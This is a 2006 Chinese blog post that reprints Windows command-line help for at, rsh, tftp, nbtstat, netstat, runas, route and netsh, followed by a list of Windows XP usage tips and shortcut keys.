     使用 at 命令时,要求您必须是本地 Administrators 组的成员。
    
     加载 Cmd.exe
     在运行命令之前,At 不会自动加载 Cmd.exe (命令解释器)。如果没有运行可执行文件 (.exe),则在命令开头必须使用如下所示的方法专门加载 Cmd.exe:
    
     cmd /c dir > c:\test.out。
    
     查看已计划的命令
     当不带命令行选项使用 at 时,计划任务会出现在类似于以下格式的表中:
    
     Status ID Day Time Command Line
     OK 1 Each F 4:30 PM net send group leads status due
     OK 2 Each M 12:00 AM chkstor > check.file
     OK 3 Each F 11:59 PM backup2.bat
     包含标识号 (ID)
     当在命令提示下使用带有标识号 (ID) 的 at 命令时,单个任务项的信息会显示在类似于下面的格式中:
    
     Task ID: 1
    
     Status:OK
    
     Schedule:Each F
    
     Time of Day:4:30 PM
    
     Command:net send group leads status due当计划带有 at 的命令(尤其是带有命令行选项的命令)后,要通过键入不带命令行选项的 at 来检查该命令语法是否输入正确。如果显示在“命令行”列中的信息不正确,请删除该命令,然后重新键入它。如果还不正确,则可以在重新键入该命令时让它少带些命令行选项。
    
     查看结果
     使用 at 的已经计划的命令作为后台程序运行。运行结果不会显示在计算机上。要将输出重定向到文件,请使用重定向符号 (>。如果将输出重定向到文件,则不论是在命令行还是在批处理文件中使用 at,都需要在重定向符号之前使用转义符 。例如,要重定向输出到 Output.text 文件,则要键入:
    
     at 14:45 c:\test.bat ^>c:\output.txt
    
     执行命令的当前目录为 systemroot 文件夹。
    
     更改系统时间
     在使用 at 命令计划了要运行的命令之后,如果更改了计算机的系统时间,则通过键入不带命令行选项的 at 可使 at 计划程序与修改后的系统时间同步。
    
     存储命令
     已计划的命令存储在注册表中。这样,如果重新启动“计划”服务,则不会丢失计划任务。
    
     连接到网络驱动器
     对于需要访问网络的计划作业,请不要使用已重新定向的驱动器。“计划”服务可能无法访问这些重定向的驱动器,或者,在该计划任务运行时如果有其他用户登录,则这些重定向的驱动器可能不会出现。因此,对于计划作业,请使用 UNC 路径。例如:
    
     at 1:00pm my_backup \\server\share
    
     请不要使用下述语法(其中 x: ?表示由用户建立的连接):
    
     at 1:00pm my_backup x:
    
     如果计划了一个使用驱动器号的 at 命令来连接共享目录,则应包含一个 at 命令以使在完成该驱动器的使用时断开与驱动器的连接。如果不能断开与驱动器的连接,则在命令提示下,所指派的驱动器号将不可用。
    
     范例
     要显示 Marketing 服务器上已计划的命令列表,请键入:
    
     at \\marketing
     要了解服务器 Corp 上标识号为 3 的命令的详细信息,请键入:
    
     at \\corp 3
     要计划在上午 8:00 于 Corp 服务器上运行网络共享命令,并将该列表重定向到 Maintenance 服务器的 Corp.txt 文件(位于 Reports 共享目录下)中,请键入:
    
     at \\corp 08:00 cmd /c "net share reports=d:\marketing\reports >> \\maintenance\reports\corp.txt"
     为了在每五天后的午夜将 Marketing 服务器的硬盘驱动器备份到磁带驱动器,首先创建名为 Archive.cmd 的批处理程序(它含有备份命令),然后计划该批处理程序的运行,为此请键入:
    
     at \\marketing 00:00 /every:5,10,15,20,25,30 archive
     要取消当前服务器上已计划的所有命令,请按下述方法清除 at 计划信息:
    
     at /delete
     如果要运行的命令不是可执行 (.exe) 文件,请按如下所示的方法在该命令之前使用 cmd /c 来加载 Cmd.exe:
    
     cmd /c dir > c:\test.out。
     Rsh
     在运行 RSH 服务的远程计算机上运行命令。Windows XP 和 Windows 2000 不提供 RSH 服务。Windows 2000 Server Resource Kit 提供名为 Rshsvc.exe 的 RSH 服务。使用不带参数的 rsh 显示帮助。
    
     语法
     rsh [Host] [-l UserName] [-n] [Command]
    
     参数
     Host
     指定运行 command 的远程计算机。
     -l UserName
     指定远程计算机上使用的用户名。在省略情况下,使用当前登录用户的名称。
     -n
     将 rsh 的输入重定向到 NULL 设备。这防止本地计算机命令结果的显示。
     Command
     指定要运行的命令。
     /?
     在命令提示符显示帮助。
     注释
     标准*作
     rsh 命令将标准输入复制到远程 command,将远程 command 的标准输出复制到其标准输出,将远程 command 的标准错误复制到其标准错误。Rsh 通常在远程命令终止时终止。
    
     使用重定向符号
     为了使重定向在远程计算机上发生,要以引号引住重定向符号(例如 ">>")。如果不使用引号,重定向会在本地计算机发生。例如,以下命令将远程文件“RemoteFile”附加到本地文件“LocalFile”中:
    
     rsh othercomputer cat remotefile >> localfile
    
     以下命令将远程文件 Remotefile 附加到远程文件 otherremotefile 中:
    
     rsh othercomputer cat remotefile ">>" otherremotefile
    
     使用 rsh
     在使用已登录到某个域并且运行 Windows XP Professional 的计算机时,该域的主域控制器必须可用于确认用户名或 rsh 命令失败。
    
     .rhosts 文件
     .rhosts 文件通常许可 UNIX 系统的网络访问权限。.rhosts 文件列出可以访问远程计算机的计算机名及关联的登录名。在正确配置了 .rhosts 文件的远程计算机上运行 rcp、rexec 或 rsh 命令时,您不必提供远程计算机的登录和密码信息。
    
     .rhosts 文件是一个文本文件,该文件中每一行为一个条目。条目由本地计算机名、本地用户名和有关该条目的所有注释组成。每个条目均由制表符或空格分开,注释用符号 (#) 打头。例如:
    
     host7 #This computer is in room 31A
    
     .rhosts 文件必须在远程计算机的用户主目录中。有关远程计算机 .rhosts 文件特定执行的详细信息,请参阅远程系统的文档。
    
     只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时,该命令才可用。
     范例
     要以名称 admin1 在远程计算机 vax1 上执行 telcon 命令,请键入:
    
     rsh vax1 -l admin1 telcon


 
Tftp
     向运行平凡文件传输协议 (TFTP) 服务或 daemon 的远程计算机(尤其是运行 UNIX 的计算机)传输文件或从运行平凡文件传输协议 (TFTP) 服务或 daemon 的远程计算机(尤其是运行 UNIX 的计算机)传输文件。
    
     语法
     tftp [-i] [Host] [{get | put}] [Source] [Destination]
    
     参数
     -i
     指定二进制图像传送模式(也称为八进制模式)。在二进制图像模式下,文件以一个字节为单位进行传输。在传送二进制文件时使用该模式。如果省略了 -i,文件将以 ASCII 模式传送。这是默认的传送模式。该模式将行尾 (EOL) 字符转换为指定计算机的适当格式。传送文本文件时使用该模式。如果文件传送成功,将显示数据传输率。
     Host
     指定本地或远程计算机。
     put
     将本地计算机上的 Destination 文件传送到远程计算机上的 Source 文件。因为 TFTP 协议不支持用户身份验证,所以用户必须登录到远程计算机,同时文件在远程计算机上必须可写。
     get
     将远程计算机上的 Destination 文件传送到本地计算机上的 Source 文件。
     Source
     指定要传送的文件。
     Destination
     指定将文件传送到的位置。如果省略了 Destination,将假定它与 Source 同名。
     /?
     在命令提示符显示帮助。
     注释
     使用 get 参数
     如果将本地计算机上的文件 FileTwo 传送到远程计算机上的文件 FileOne,则指定 put。如果将远程计算机上的文件 FileTwo 传送到远程计算机上的文件 FileOne,则指定 get。
    
     Windows XP 或 Windows 2000 不提供一般用途的 TFTP 服务器。Windows 2000 提供的 TFTP 服务器服务只为 Windows XP 和 Windows 2000 客户端计算机提供远程引导功能。
     只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时,该命令才可用。
     范例
     要从本地计算机将文件 Users.txt 传送到远程计算机 vax1 上的 Users19.txt,请键入:
    
     tftp vax1 put users.txt users19.txt
     Nbtstat
     显示本地计算机和远程计算机的基于 TCP/IP (NetBT) 协议的 NetBIOS 统计资料、NetBIOS 名称表和 NetBIOS 名称缓存。Nbtstat 可以刷新 NetBIOS 名称缓存和注册的 Windows Internet 名称服务 (WINS) 名称。使用不带参数的 nbtstat 显示帮助。
    
     语法
     nbtstat [-a RemoteName] [-A IPAddress] [-c] [-n] [-r] [-R] [-RR] [-s] [-S] [Interval]
    
     参数
     -a remotename
     显示远程计算机的 NetBIOS 名称表,其中,RemoteName 是远程计算机的 NetBIOS 计算机名称。NetBIOS 名称表是运行在该计算机上的应用程序使用的 NetBIOS 名称列表。
     -A IPAddress
     显示远程计算机的 NetBIOS 名称表,其名称由远程计算机的 IP 地址指定(以小数点分隔)。
     -c
     显示 NetBIOS 名称缓存内容、NetBIOS 名称表及其解析的各个地址。
     -n
     显示本地计算机的 NetBIOS 名称表。Registered 中的状态表明该名称是通过广播或 WINS 服务器注册的。
     -r
     显示 NetBIOS 名称解析统计资料。在配置为使用 WINS 的 Windows XP 计算机上,该参数将返回已通过广播和 WINS 解析和注册的名称号码。
     -R
     清除 NetBIOS 名称缓存的内容并从 Lmhosts 文件中重新加载带有 #PRE 标记的项目。
     -RR
     重新释放并刷新通过 WINS 注册的本地计算机的 NetBIOS 名称。
     -s
     显示 NetBIOS 客户和服务器会话,并试图将目标 IP 地址转化为名称。
     -S
     显示 NetBIOS 客户和服务器会话,只通过 IP 地址列出远程计算机。
     Interval
     重新显示选择的统计资料,可以中断每个显示之间的 Interval 中指定的秒数。按 CTRL+C 停止重新显示统计信息。如果省略该参数, netstat 将只显示一次当前的配置信息。
     /?
     在命令提示符显示帮助。
     注释
     Nbtstat 命令行参数区分大小写。
     下表列出了由 Nbtstat 生成的列标题。 标题 说明
     Input 接收的字节数。
     Output 发送的字节数。
     In/Out 该连接是否从计算机(传出)或者其他计算机到本地计算机(传入)。
     Lift 名称表缓存项在被清除之前所存留的时间。
     Local Name 本地 NetBIOS 名称与连接相关联。
     Remote Host 与远程计算机相关的名称或 IP 地址。
     <03> 转化为十六进制的 NetBIOS 名称的最后一个字节。每个 NetBIOS 名称长度均为 16 个字符。由于最后一个字节通常有特殊的意义,因为相同的名称(只有最后一个字节不同)可能在一台计算机上出现几次。例如,<20> 在 ASCII 文本中是一个空格。
     Type 名称类型。名称可以是单个名称,也可以是组名称。
     Status 远程计算机上是否在运行 NetBIOS 服务(“已注册”),或同一计算机名是否已注册了相同的服务(“冲突”)。
     State NetBIOS 连接的状态。
    
     下表列出了可能的 NetBIOS 连接状态。 状态 说明
     已连接 会话已建立。
     关联 连接的终结点已经被创建并与 IP 地址关联。
     正接听 该终结点对内向连接可用。
     空闲 该结束点已被打开单不能接收连接。
     正在连接 会话处于连接阶段。在此阶段正在解析所选目标的由名称到 IP 地址的映射。
     接受 入站会话当前正在被接受,将在短期内连接。
     重新连接 会话将试图重新连接(如果第一次连接失败)。
     出站 会话正处于连接阶段。此阶段正在创建 TCP 连接。
     入站 入站会话在连接期。
     正在断开 会话正在断开连接。
     已中断连接 本地计算机已断开连接,并正等待远程系统的确认。
    
     只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时,该命令才可用。
     范例
     要显示 NetBIOS 计算机名为 CORP07 的远程计算机的 NetBIOS 名称表,请键入:
    
     nbtstat -a CORP07
    
     要显示所分配 IP 地址为 10.0.0.99 的远程计算机的 NetBIOS 名称表,请键入:
    
     nbtstat -A 10.0.0.99
    
     要显示本地计算机的 NetBIOS 名称表,请键入:
    
     nbtstat -n
    
     要显示本地计算机 NetBIOS 名称缓存的内容,请键入:
    
     nbtstat -c
    
     要清除 NetBIOS 名称缓存并重新装载本地 Lmhosts 文件中带标记 #PRE 的项目,请键入:
    
     nbtstat -R
    
     要释放通过 WINS 服务器注册的 NetBIOS 名称并对其重新注册,请键入:
    
     nbtstat -RR
    
     要每隔 5 秒以 IP 地址显示 NetBIOS 会话统计资料,请键入:
    
     nbtstat -S 5
    
     Netstat
     显示活动的 TCP 连接、计算机侦听的端口、以太网统计信息、IP 路由表、IPv4 统计信息(对于 IP、ICMP、TCP 和 UDP 协议)以及 IPv6 统计信息(对于 IPv6、ICMPv6、通过 IPv6 的 TCP 以及通过 IPv6 的 UDP 协议)。使用时如果不带参数,netstat 显示活动的 TCP 连接。
    
     语法
     netstat [-a] [-e] [-n] [-o] [-p Protocol] [-r] [-s] [Interval]
    
     参数
     -a
     显示所有活动的 TCP 连接以及计算机侦听的 TCP 和 UDP 端口。
     -e
     显示以太网统计信息,如发送和接收的字节数、数据包数。该参数可以与 -s 结合使用。
     -n
     显示活动的 TCP 连接,不过,只以数字形式表现地址和端口号,却不尝试确定名称。
     -o
     显示活动的 TCP 连接并包括每个连接的进程 ID (PID)。可以在 Windows 任务管理器中的“进程”选项卡上找到基于 PID 的应用程序。该参数可以与 -a、-n 和 -p 结合使用。
     -p Protocol
     显示 Protocol 所指定的协议的连接。在这种情况下,Protocol 可以是 tcp、udp、tcpv6 或 udpv6。如果该参数与 -s 一起使用按协议显示统计信息,则 Protocol 可以是 tcp、udp、icmp、ip、tcpv6、udpv6、icmpv6 或 ipv6。
     -s
     按协议显示统计信息。默认情况下,显示 TCP、UDP、ICMP 和 IP 协议的统计信息。如果安装了 Windows XP 的 IPv6 协议,就会显示有关 IPv6 上的 TCP、IPv6 上的 UDP、ICMPv6 和 IPv6 协议的统计信息。可以使用 -p 参数指定协议集。
     -r
     显示 IP 路由表的内容。该参数与 route print 命令等价。
     Interval
     每隔 Interval 秒重新显示一次选定的信息。按 CTRL+C 停止重新显示统计信息。如果省略该参数,netstat 将只打印一次选定的信息。
     /?
     在命令提示符显示帮助。
     注释
     与该命令一起使用的参数必须以连字符 (-) 而不是以短斜线 (/) 作为前缀。
     Netstat 提供下列统计信息:
     Proto
     协议的名称(TCP 或 UDP)。
    
     Local Address
     本地计算机的 IP 地址和正在使用的端口号。如果不指定 -n 参数,就显示与 IP 地址和端口的名称对应的本地计算机名称。如果端口尚未建立,端口以星号(*)显示。
    
     Foreign Address
     连接该插槽的远程计算机的 IP 地址和端口号码。如果不指定 -n 参数,就显示与 IP 地址和端口对应的名称。如果端口尚未建立,端口以星号(*)显示。
    
     (state)
     表明 TCP 连接的状态。可能的状态如下:
    
     CLOSE_WAIT
    
     CLOSED
    
     ESTABLISHED
    
     FIN_WAIT_1
    
     FIN_WAIT_2
    
     LAST_ACK
    
     LISTEN
    
     SYN_RECEIVED
    
     SYN_SEND
    
     TIMED_WAIT
    
     有关 TCP 连接状态的信息,请参阅 RFC 793。
    
     只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时,该命令才可用。
     范例
     要想显示以太网统计信息和所有协议的统计信息,请键入下列命令:
    
     netstat -e -s
    
     要想仅显示 TCP 和 UDP 协议的统计信息,请键入下列命令:
    
     netstat -s -p tcp udp
    
     要想每 5 秒钟显示一次活动的 TCP 连接和进程 ID,请键入下列命令:
    
     nbtstat -o 5
    
     要想以数字形式显示活动的 TCP 连接和进程 ID,请键入下列命令:
    
     nbtstat -n –o
    
     Runas
     允许用户用其他权限运行指定的工具和程序,而不是用户当前登录提供的权限。
    
     语法
     runas [{/profile|/noprofile}] [/env] [/netonly] [/smartcard] [/showtrustlevels] [/trustlevel] /user:UserAccountName program
    
     参数
     /profile
     加载用户的配置文件。/profile 是默认值。
     /no profile
     /noprofile 指定不加载用户的配置文件。这使应用程序载入的更加快速,但是在一些应用程序中也会引起错误。
     /env
     指定当前使用的网络环境,而不是用户的本地环境。
     /netonly
     指明指定的用户信息只用于远程访问。
     /smartcard
     /smartcard 表示凭据是否是由智能卡提供的。
     /showtrustlevels
     列出 /trustlevel 开关项。
     /trustlevel
     指定应用程序运行所在的授权级别。使用 /showtrustlevels 查看可用的信任级别。
     /user:UserAccountName
     指定在其下运行程序的用户帐户的名称。用户帐户的格式应是 user@domain 或 domain\user。
     程序
     指定要用在 /user 中指定的帐户运行的程序或命令。
     /?
     在命令提示符显示帮助。
     注释
     管理员可以使用一个权限受限制的帐户执行日常、非管理性的任务,只有在执行特定管理任务时,才使用一个权限更大的帐户。要不经过注销再重新登录就完成这样的任务,可以用一般帐户登录,然后使用 runas 命令来运行需要更大权限的工具。
     有关 runas 命令的使用范例,请参阅“相关主题”。
     尽管 runas 通常由 Administrator 帐户使用,但并非仅限于 Administrator 帐户。任何拥有多个帐户的用户均可以利用备用凭据,使用 runas 运行程序、MMC 控制台或“控制面板”项。
     如果要在计算机上使用 Administrator 帐户,对于 /user:,键入下列参数之一:
     /user:AdministratorAccountName@ComputerName
    
     /user:ComputerName\AdministratorAccountName
    
     如果想以域管理员身份使用这个命令,键入下列参数之一:
     /user:AdministratorAccountName@DomainName
    
     /useromainName\AdministratorAccountName
    
     runas 命令允许您运行程序 (*.exe)、保存的 MMC 控制台 (*.msc)、程序和保存的 MMC 控制台的快捷方式及“控制面板”项。作为另一组(例如“Users”或“Power Users”组)的成员登录到计算机时,可以以管理员的身份运行。
     可以使用 runas 命令来启动任何程序、MMC 控制器或“控制面板”项。只要提供适当的用户帐户和密码信息,用户帐户就具有登录到计算机的能力,并且程序、MMC 控制台、“控制面板”项在系统中及对该用户帐户均可用.
     runas 命令允许您管理其他域的服务器(运行工具的计算机和要管理的服务器在不同的域中)。
     如果尝试使用 runas 从网络位置启动程序、MMC 控制台或“控制面板”项,可能会因为用来连接网络共享的凭据与用来启动程序的凭据不同而失败。后者的凭据可能无法访问同一网络共享。
     有些项,例如“打印机”文件夹和桌面项,间接由 Windows 2000 打开,而不能使用 runas 命令启动。
     如果 runas 命令失败,则可能是没有运行 RunAs 服务或使用的用户帐户无效。要检查 RunAs 服务的状态,请在“计算机管理”中单击“服务和应用程序”,然后单击“服务”。要测试用户帐户,请尝试使用该帐户登录合适的域。
     范例
     要在本地计算机上以管理员身份启动 Windows 2000 命令提示行实例,请键入:
    
     runas /user:localmachinename\administrator cmd
     系统提示时,键入管理员密码。
    
     要使用名为 companydomain\domainadmin 的域管理员帐户启动“计算机管理”管理单元实例,请键入:
    
     runas /user:companydomain\domainadmin "mmc %windir%\system32\compmgmt.msc"
     当提示时,键入帐户密码。
    
     要使用名为 domain.microsoft.com 的域中的域管理员帐户 user 启动“记事本”实例,请键入:
    
     runas /user:user@domain.microsoft.com "notepad my_file.txt"
     当提示时,键入帐户密码。
    
     要启动命令提示符行窗口、保存的 MMC 控制台、控制面板项或管理其他地点服务器的程序的一个实例,请键入:
    
     runas /netonly /useromain\username "command"
     domain\username 必须是有足够权限管理服务器的用户。当提示时,键入帐户密码。
     Route
     在本地 IP 路由表中显示和修改条目。使用不带参数的 route 可以显示帮助。
    
     语法
     route [-f] [-p] [Command [Destination] [mask Netmask] [Gateway] [metric Metric] [if Interface]
    
     参数
     -f
     清除所有不是主路由(网掩码为 255.255.255.255 的路由)、环回网络路由(目标为 127.0.0.0,网掩码为 255.255.255.0 的路由)或多播路由(目标为 224.0.0.0,网掩码为 240.0.0.0 的路由)的条目的路由表。如果它与命令之一(例如 add、change 或 delete)结合使用,表会在运行命令之前清除。
     -p
     与 add 命令共同使用时,指定路由被添加到注册表并在启动 TCP/IP 协议的时候初始化 IP 路由表。默认情况下,启动 TCP/IP 协议时不会保存添加的路由。与 print 命令一起使用时,则显示永久路由列表。所有其它的命令都忽略此参数。永久路由存储在注册表中的位置是 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\PersistentRoutes。
     Command
     指定要运行的命令。下表列出了有效的命令。 命令 目的
     add 添加路由
     change 更改现存路由
     delete 删除路由
     print 打印路由
    
     Destination
     指定路由的网络目标地址。目标地址可以是一个 IP 网络地址(其中网络地址的主机地址位设置为 0),对于主机路由是 IP 地址,对于默认路由是 0.0.0.0。
     mask subnetmask
     指定与网络目标地址相关联的网掩码(又称之为子网掩码)。子网掩码对于 IP 网络地址可以是一适当的子网掩码,对于主机路由是 255.255.255.255 ,对于默认路由是 0.0.0.0。如果忽略,则使用子网掩码 255.255.255.255。定义路由时由于目标地址和子网掩码之间的关系,目标地址不能比它对应的子网掩码更为详细。换句话说,如果子网掩码的一位是 0,则目标地址中的对应位就不能设置为 1。


-
Gateway
     指定超过由网络目标和子网掩码定义的可达到的地址集的前一个或下一个跃点 IP 地址。对于本地连接的子网路由,网关地址是分配给连接子网接口的 IP 地址。对于要经过一个或多个路由器才可用到的远程路由,网关地址是一个分配给相邻路由器的、可直接达到的 IP 地址。
     metric Metric
     为路由指定所需跃点数的整数值(范围是 1 ~ 9999),它用来在路由表里的多个路由中选择与转发包中的目标地址最为匹配的路由。所选的路由具有最少的跃点数。跃点数能够反映跃点的数量、路径的速度、路径可*性、路径吞吐量以及管理属性。
     if Interface
     指定目标可以到达的接口的接口索引。使用 route print 命令可以显示接口及其对应接口索引的列表。对于接口索引可以使用十进制或十六进制的值。对于十六进制值,要在十六进制数的前面加上 0x。忽略 if 参数时,接口由网关地址确定。
     /?
     在命令提示符显示帮助。
     注释
     路由表中 跃点数 一列的值较大是由于允许 TCP/IP 根据每个 LAN 接口的 IP 地址、子网掩码和默认网关的配置自动确定路由表中路由的跃点数造成的。默认启动的自动确定接口跃点数确定了每个接口的速度,调整了每个接口的路由跃点数,因此最快接口所创建的路由具有最低的跃点数。要删除大跃点数,请在每个 LAN 连接的 TCP/IP 协议的高级属性中禁用自动确定接口跃点数。
     如果在 systemroot\System32\Drivers\Etc 文件夹的本地网络文件中存在适当的条目,名称可以用于 Destination。只要名称可以通过“域名系统” (DNS) 查询这样的标准主机名解析技术分解为 IP 地址,就可以将其用于 Gateway,DNS 查询使用存储在 systemroot\System32\Drivers\Etc 文件夹下的本地主机文件和 NetBIOS 名称解析。
     如果是 print 或 delete 命令,可以忽略 Gateway 参数,使用通配符来表示目标和网关。Destination 的值可以是由星号 指定的通配符。如果指定目标含有一个星号 或问号 (?),它被看作是通配符,只打印或删除匹配的目标路由。星号代表任意一字符序列,问号代表任一字符。例如, 10.*.1, 192.168.*、 127.* 和 *224* 都是星号通配符的有效使用。
     使用了无效的目标和子网掩码(网掩码)值的组合,会显示“Route:bad gateway address netmask”错误消息。目标中有一位或多位设置为 1,而其在子网掩码中的对应位设置为 0 时会发生这个错误。可以通过二进制表示法表示目标和子网掩码来检查这种情况。以二进制表示的子网掩码包括表示目标网络地址部分的一连串的 1 和表示目标主机地址部分的一连串的 0 两个部分。查看目标以确定目标的主机地址部分(由子网掩码所定义)是否有些位设置成了 1。
     只有 Windows NT 4.0、Windows 2000、Windows Millennium Edition 和 Windows XP 的 route 命令支持 -p 参数。Windows 95 或 Windows 98 的 route 命令不支持该参数。
     只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时,该命令才可用。
     范例
     要显示 IP 路由表的完整内容,请键入:
    
     route print
    
     要显示 IP 路由表中以 10. 开始的路由,请键入:
    
     route print 10.*
    
     要添加默认网关地址为 192.168.12.1 的默认路由,请键入:
    
     route add 0.0.0.0 mask 0.0.0.0 192.168.12.1
    
     要添加目标为 10.41.0.0,子网掩码为 255.255.0.0,下一个跃点地址为 10.27.0.1 的路由,请键入:
    
     route add 10.41.0.0 mask 255.255.0.0 10.27.0.1
    
     要添加目标为 10.41.0.0,子网掩码为 255.255.0.0,下一个跃点地址为 10.27.0.1 的永久路由,请键入:
    
     route -p add 10.41.0.0 mask 255.255.0.0 10.27.0.1
    
     要添加目标为 10.41.0.0,子网掩码为 255.255.0.0,下一个跃点地址为 10.27.0.1,跃点数为 7 的路由,请键入:
    
     route add 10.41.0.0 mask 255.255.0.0 10.27.0.1 metric 7
    
     要添加目标为 10.41.0.0,子网掩码为 255.255.0.0,下一个跃点地址为 10.27.0.1,接口索引为 0x3 的路由,请键入:
    
     route add 10.41.0.0 mask 255.255.0.0 10.27.0.1 if 0x3
    
     要删除目标为 10.41.0.0,子网掩码为 255.255.0.0 的路由,请键入:
    
     route delete 10.41.0.0 mask 255.255.0.0
    
     要删除 IP 路由表中以 10. 开始的所有路由,请键入:
    
     route delete 10.*
    
     要将目标为 10.41.0.0,子网掩码为 255.255.0.0 的路由的下一个跃点地址由 10.27.0.1 更改为 10.27.0.25,请键入:
    
     route change 10.41.0.0 mask 255.255.0.0 10.27.0.25
    
     怎样在windowsserver的cmd下更改ip地址■■■ -> Windows 2k/2003 Server
     在命令行下更改ip地址
    
     Windows2000是现在比较流行的*作系统,它的功能是很强大的,它甚至可以象Unix一样在命令行下做很多的工作。下面一种在命令行下更改ip地址的方法,现介绍给大家(括号里是一些注释,黑体字是人工录入的):
    
     C:\>ipconfig (首先用ipconfig这个命令看一下更改之前的ip地址)
    
     Windows 2000 IP Configuration
    
     Ethernet adapter 本地连接:
    
     Connection-specific DNS Suffix . :
    
     IP Address. . . . . . . . . . . . : 10.1.1.94 (本地连接更改之前的ip)
    
     Subnet Mask . . . . . . . . . . . : 255.255.255.0
    
     Default Gateway . . . . . . . . . : 10.1.1.254
    
     C:\>netsh (进入设置模式)
    
     netsh>interface
    
     interface>ip
    
     interface ip>set address "本地连接" static 10.1.1.111 255.255.255.0 10.1.1.254
    
     interface ip>exit
    
    
     上文中的set命令具体解释如下:
    
     set address - 设置指定的接口的 IP 地址和默认网关。
    
     set dns - 设置 DNS 服务器模式和地址。
    
     set wins - 设置 WINS 服务器模式和地址。
    
    
     C:\>ipconfig (更改后再用ipconfig命令看一下,确认一下是否更改成功)
    
     Windows 2000 IP Configuration
    
     Ethernet adapter 本地连接:
    
     Connection-specific DNS Suffix . :
    
     IP Address. . . . . . . . . . . . : 10.1.1.111
    
     Subnet Mask . . . . . . . . . . . : 255.255.255.0
    
     Default Gateway . . . . . . . . . : 10.1.1.254
    
    
     命令一览
     .. - 移到上一层上下文级。
     ? - 显示命令列表。
     aaaa - 更改到 `aaaa` 上下文。
     abort - 丢弃在脱机模式下所做的更改。
     add - 将一个配置项添加到项目列表中。
     alias - 添加一个别名
     bye - 退出程序。
     commit - 提交在脱机模式中所做的更改。
     delete - 在项目列表上删除一个配置项目。
     dhcp - 更改到 `dhcp` 上下文。
     dump - 显示一个配置脚本。
     exec - 运行一个脚本文件。
     exit - 退出程序。
     help - 显示命令列表。
     interface - 更改到 `interface` 上下文。
     offline - 将当前模式设置成脱机。
     online - 将当前模式设置成联机。
     popd - 从堆栈上打开一个上下文。
     pushd - 将当前上下文放推入堆栈。
     quit - 退出程序。
     ras - 更改到 `ras` 上下文。
     routing - 更改到 `routing` 上下文。
     set - 更新配置设置。
     show - 显示信息
     unalias - 删除一个别名。
     wins - 更改到 `wins` 上下文。
     快速切换IP地址有绝招
    
     在工作过程中会遇到在不同的网段中进行网络调试的情况,经常需要将机器在几个不同的IP地址中进行切换。在Win2000*作系统中改变IP地址较之Win98已经方便多了因为改完IP地址后不需要重启计算机,但还要进入网络属性设置中进行*作。有没有再简便一点的方法呢,比如用鼠标双击一下快捷方式就可以实现IP地址的切换?
    
       答案是肯定的。在Win2000中用netsh命令就可以实现这个功能。首先进入命令行模式(在“开始→运行”中键入“cmd”即可进入命令行模式),在提示符下键入netsh即可进入netsh的界面。再键入int ip进入接口IP的配置模式,键入dump则列出接口IP配置信息:
    
       C:\Documents and Settings\Administrator>netsh
       netsh>
       netsh>int ip
       interface ip>dump
       # ----------------------------------
       # 接口 IP 配置
       # ----------------------------------
       pushd interface ip
       # ″本地连接″ 的接口IP 配置(注:以下显示视具体机器情况而定)
       set address name = ″本地连接″ source = static addr = 192.168.0.5 mask = 255.255.255.0
       set address name = ″本地连接″ gateway = 192.168.0.2 gwmetric = 1
       set dns name = ″本地连接″ source = static addr = 61.237.17.181
       add dns name = ″本地连接″ addr = 211.97.168.129
       add dns name = ″本地连接″ addr = 211.98.4.1
       set wins name = ″本地连接″ source = static addr = none
       # ″本地连接 2″ 的接口 IP 配置
       set address name = ″本地连接 2″ source = dhcp
       set dns name = ″本地连接 2″ source = dhcp
       set wins name = ″本地连接 2″ source = dhcp
       popd
       # 接口 IP 配置结束
    
     快速切换IP地址有绝招 2

posted @ 2006-10-02 17:31 javaca88 阅读(176) 评论(0) 编辑

XP使用技巧

                                      

一 WinXP:解决任务栏假死
所谓假死就是任务栏停止相应,但用鼠标右键点击桌面却有效。我们可以手工解决,方法是:执行“控制面板→区域和语言选项”命令,在弹出的对话框中的“语言”选项卡下,点击“详细信息”按钮,在弹出的设置对话框中点击“首选项”的“语言栏”按钮。接着在语言栏设置对话框中关闭“在桌面上显示语言栏”,再选中“在‘通知’区域显示其他语言栏图标”即可。
二 减少磁盘扫描等待时间
WindowsXP虽然号称稳定,但是并不是永不死机,偶尔也会给你个蓝脸,非法操作后系统会自动扫描,出现大段大段的E文,告诉你刚才系统非正常结束,现在需要检查一下是否出错,可是还要等待一段时间才开始,所以我们可以在dos下,键入“chkntfs
/t:0”,表示等待时间为0秒。
三 取消Windows XP专业版中的保留带宽
由于专业版在网络上的需要,所以设定了20%的默认保留带宽,其实对于个人用户,这些保留的带宽是没有用处的,使用组策略编辑器就可以取消保留带宽。
在“开始”→“运行”中输入gpedit.msc,打开组策略编辑器。找到“计算机配置”→“管理模板”→“网络”→“QoS数据包调度程序”,选择右边的“限制可保留带宽”,选择“属性”就可以打开所示的图片,选择“禁用”即可。释放了保留的带宽可加快上网浏览下载的速度!
四 Win XP快速关机的另类技巧
在Windows
XP中按“Ctrl+Alt+Del”调出“任务管理器”窗口,激活菜单“关机”的同时按住“Ctrl”键,然后选择“关机”或“重新启动”菜单项。这时你会发现,Windows
XP的关机速度可以说是瞬间的事(夸张了点^_^)。

五 禁止IE的定期更新
在我们上网以后,Windows
XP经常会在任务栏上弹出一个提示你升级系统文件的消息,其实这是IE浏览器的定期更新检查在作怪,大约每30天左右,Windows
XP系统附带的IE6.0就会定期检查是否有新的升级软件,如果有,你没有下载升级,便会弹出上述提示对话框,我们可以采用下面的方法来禁止IE6.0的定期更新检查:打开“运行”对话框,输入“gpedit.msc”,打开“组策略”设置窗口,在左边的树形目录中找到“计算机配置→管理模板→Windows组件→Internet
Explorer”,在右边的窗口中找到“禁用定期检查Internet
Explorer软件更新”选项,打开该选项,在出现的窗口中选择“已启动”,最后单击“确定”按钮即可。
六 Windows 技巧集锦

快捷键:
Windows徽标键+L键 “换用户的窗口”
Windows徽标键+E键启动“我的电脑”
Windows徽标键+D键快速显示桌面
Windows徽标键+R键执行“运行”命令
Windows徽标键+U键打开“工具管理器”
Windpws徽标键+M键将所有窗口最小化
Windows徽标键+F键搜索文件或者文件夹
Windows徽标键+F1键显示Windows帮助
Windows徽标键+Shift+M键将最小化的窗口还原
Ctrl+Windows徽标键+F键搜索计算机
